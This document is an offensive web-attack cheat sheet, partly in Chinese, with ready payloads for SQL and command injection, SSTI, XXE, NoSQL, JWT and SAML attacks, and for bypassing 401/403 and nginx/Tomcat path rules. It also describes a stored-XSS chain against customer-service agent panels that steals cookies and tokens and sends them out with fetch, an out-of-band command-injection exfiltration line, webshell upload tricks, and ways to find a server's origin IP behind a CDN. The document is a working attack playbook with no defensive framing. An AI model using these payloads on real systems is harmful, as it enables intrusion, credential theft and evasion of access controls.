Web attack techniques (injection / authentication / server-side / miscellaneous / CDN)
=== Web注入 ===
SQLi: sqlmap -u URL --technique=BEUSTQ --risk=3 --level=5 --os-shell | 手测 ' OR 1=1-- / ' AND SLEEP(5)--
绕过 SEL/**/ECT,大小写,CHAR() | 升级 OUTFILE→webshell / xp_cmdshell / UDF
命令注入: ; | && $(cmd) `cmd` %0a | 绕空格$IFS,绕cat用tac/nl | OOB ;nslookup $(whoami).OOB
SSTI: {{7*7}}Jinja2 ${7*7}FreeMarker #{7*7}Ruby | Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
XSS: HTML/属性/JS/href/DOM/SVG | 绕CSP用JSONP/AngularJS CDN | XXE: <!ENTITY xxe SYSTEM "file:///etc/passwd">/"http://OOB/"
🚨Stored XSS via WebSocket/STOMP聊天: 客服系统(OCS/LiveChat)的agent面板常用innerHTML/v-html渲染visitor消息(Vue domProps innerHTML)
攻击链: visitor STOMP连接→发含<img src=x onerror=fetch(...)>的消息→agent打开对话→XSS在agent浏览器执行→偷cookie/token/localStorage
关键: agent浏览器通常能出网(不受后端air-gap限制)! payload目标: document.cookie + localStorage + fetch(admin API).then(exfil)
绕过: mf:1(visitor身份)的消息, tp:0(文本类型)内容直接innerHTML; 图片消息用url字段(<img src>)不走innerHTML
SSRF: 绕IP 2130706433/[::1]/nip.io/#@ | 云元数据169.254.169.254 | Redis gopher://127.0.0.1:6379/_
NoSQL: {"password":{"$ne":""}} / {"$regex":"^a"}
=== Authentication and Authorization === Authentication bypass: admin'-- | password reset (predictable token/Host header injection) | MFA bypass (skip/brute-force 4-6 digits) | X-Forwarded-For IP rotation IDOR: swap resource ID for horizontal privilege escalation | mass assignment {"role":"admin","isAdmin":true} JWT: jwt_tool -X a (alg none/RS256→HS256) | -C crack weak key | kid injection | jku/x5u remote key 401/403 bypass: /admin/ /Admin /%2561dmin /admin;/ /admin..;/ | X-Original-URL/X-Rewrite-URL/X-Forwarded-For:127.0.0.1 OAuth/OIDC: redirect_uri manipulation (replacement/suffix/@ confusion/path traversal) | missing state→CSRF | PKCE downgrade | id_token wrapped in JWT full attack suite SAML: XSW signature wrapping (SAML Raider) | signature stripping | comment truncation admin@evil | Golden SAML (IdP private key)
=== Server-side === LFI: ../../../etc/passwd | php://filter source code read | data:// expect:// phar:// | RCE chain: log poisoning/session poisoning/phar deserialization File upload: shell.php.jpg/.PHP/.php./%00 | .htaccess parsing change | GIF89a magic bytes | ImageMagick/Ghostscript 🚨Spring Boot Actuator path traversal bypass authentication interceptor: interceptor matches /api/* but actuator whitelist→/actuator/../api/v1/endpoint bypasses interceptor to reach protected endpoint Principle: Spring Security/custom interceptor matches paths before normalization, Tomcat routes after path normalization→path traversal bypasses interceptor but reaches target Servlet Verification: /actuator/health returns 200 (whitelist)→/actuator/../target path also returns 200 (bypass) vs direct /target returns 403/sign is empty (intercepted) | /actuator/health/../../target (template path {*path} traversal) sign verification weakness: many custom sign checks only verify header is non-empty (sign:any value+expTime:any number passes)→finding code:500 instead of "sign is empty"=verification passed | quick check: sign:0 or sign:aaa changing from "sign is empty" to 500=only checks non-empty Escalation: after bypass, combine with X-HTTP-Method-Override: POST to make GET requests trigger POST handlers (supported in some Spring configurations)
=== Web miscellaneous === 🚨Tomcat ..;/ bypasses nginx path restrictions: nginx does not parse ; in URLs (treats it as part of the path) but Tomcat treats ..;/ as path traversal: /api/v1/v/..;/admin/path → nginx matches /api/v1/v/ (allows) → Tomcat resolves to /admin/path (traversal!) Verification: normal /admin returns nginx 403, using /api/v1/v/..;/admin returns Tomcat 404 = bypass successful Limitation: Spring MVC DispatcherServlet routing is independent of the filesystem, can only access static files/non-MVC paths within the same war Combination: pair with JSP webshell written via Spring4Shell, or access actuator endpoints 🚨WebSocket/STOMP frame bypasses nginx method restrictions: nginx returns 405 for POST /api/v1/a/login, but after WebSocket upgrade STOMP frames are unrestricted:
- GET /api/v1/v/ws/{3 digits}/{8 random digits}/websocket → 101 Upgrade (goes through visitor path to bypass)
- STOMP CONNECT → STOMP SEND destination:/app/a/login → direct to Spring backend
SockJS XHR alternative: POST .../xhr_send sends STOMP frame (204 = success), no real WebSocket needed
Pitfall: CDN disconnects quickly ("Another connection still open"), raw socket is more stable than websocket library
🚨X-Forwarded-For bypasses application-layer IP blacklist: CDN trusts XFF header, application takes client IP from XFF for blacklist checks:
Effective: X-Forwarded-For: 1.1.1.1 | X-Forwarded-For: 127.0.0.1, 10.0.0.1
Ineffective: X-Real-IP, X-Client-IP, CF-Connecting-IP, True-Client-IP, Forwarded
Detection: response contains {code:10010, msg:"blacklist"} and the data field is your real IP
🚨PATH_INFO nginx deny bypass: nginx denies .php files (returns 146B nginx 404) but PHP-FPM is still reachable via PATH_INFO:
/denied/file.php → 404|146 (nginx blocks) | /denied/file.php/ → 16B "File not found." (PHP-FPM executes!)
/denied/file.php/x → same as above. PHP-FPM returning "File not found." means the request penetrated the nginx deny and reached PHP-FPM (the script path is simply wrong)
Exploitation: if PHP is configured with cgi.fix_pathinfo=1 (default), /uploads/shell.jpg/x.php → PHP executes shell.jpg! | Once confirmed, find FPM's actual docroot (may differ from nginx)
Identification: nginx deny returns a fixed size (146B standard 404), PHP-FPM returns 16B "File not found." → the size difference is the breakthrough signal
🚨Response size fingerprint (hidden file discovery): CMS catch-all route returns a fixed-size homepage (e.g. 44004B), nginx real 404 returns 146B
File exists but denied: returns 146B (nginx 404) | File does not exist: returns catch-all size (44004B) | → 146B = the file definitely exists!
Method: bulk scan paths, classify by response size: catch-all = does not exist, nginx404 = exists but forbidden, other sizes = accessible
WAF bypass decision tree: encoding→protocol level→path→mutation→IP spoofing→smuggling | CORS: Origin reflection + Credentials:true
🚨CDN 502 bypass (URL pattern filtering): when the CDN returns 502 for the admin path, HTTP encoding/smuggling/method variations are all ineffective→switch protocol:
①WebSocket upgrade: CDNs usually only filter HTTP responses, the WS path may not be in the filtering rules. /api/v1/a/ws/ returns 200 while /api/v1/a/doLogin returns 502 = the WS path is not filtered
②Find the origin IP and connect directly: DNS history/certificate transparency/SNI scanning/same-subnet scanning/email header Return-Path/Shodan fingerprint matching/CDN origin-pull config leak/unique error page fingerprint→bypass CDN and connect directly to the backend
③Non-standard ports: scan all ports on CDN nodes, some ports may proxy to different backends or have different filtering rules (e.g. 8085 exposing actuator)
④Path traversal: /api/v1/v/..;/a/doLogin makes Tomcat route to admin but the CDN may not recognize it (note: the CDN may still filter the response)
⑤Wildcard resolution identification: all subdomains resolving to the CDN = wildcard DNS, not real records. Compare results using 114.114.114.114/8.8.8.8
🚨WSCN/Wangsu CDN JS challenge identification and bypass: response contains
_jsc_ch_conf+ws_sec_page.js= Wangsu JS challenge (not a WAF block) Features: cv:".domain", mt:"jhsq987", chType/chTs/chID/chHash fields | 403 page 6000+ bytes containing "Embed Iframe" Bypass: the CDN only whitelists specific paths (e.g. /c/) and does not challenge them→use Spring Boot ..;/ traversal (/c/..;/target_path) to penetrate to other backend routes Identify backend framework: JSON error{"timestamp":...,"status":...,"error":...,"path":...}= Spring Boot | 405 = route exists but wrong method
=== CDN bypass (target hidden behind CDN, admin interface returns 502) ===
CDN 502 analysis: distinguish URL pattern filtering (fixed timing ~0.3s, all methods/encodings/ports/nodes return 502) vs response content filtering vs backend down
Key judgment: path traversal (/api/v1/v/..;/a/doLogin) if it returns Tomcat 404 = penetrated the CDN to the backend, returns 502 = CDN URL pattern interception
nginx 502 vs CDN PWS 502: nginx = edge-layer reverse proxy down, PWS = CDN global policy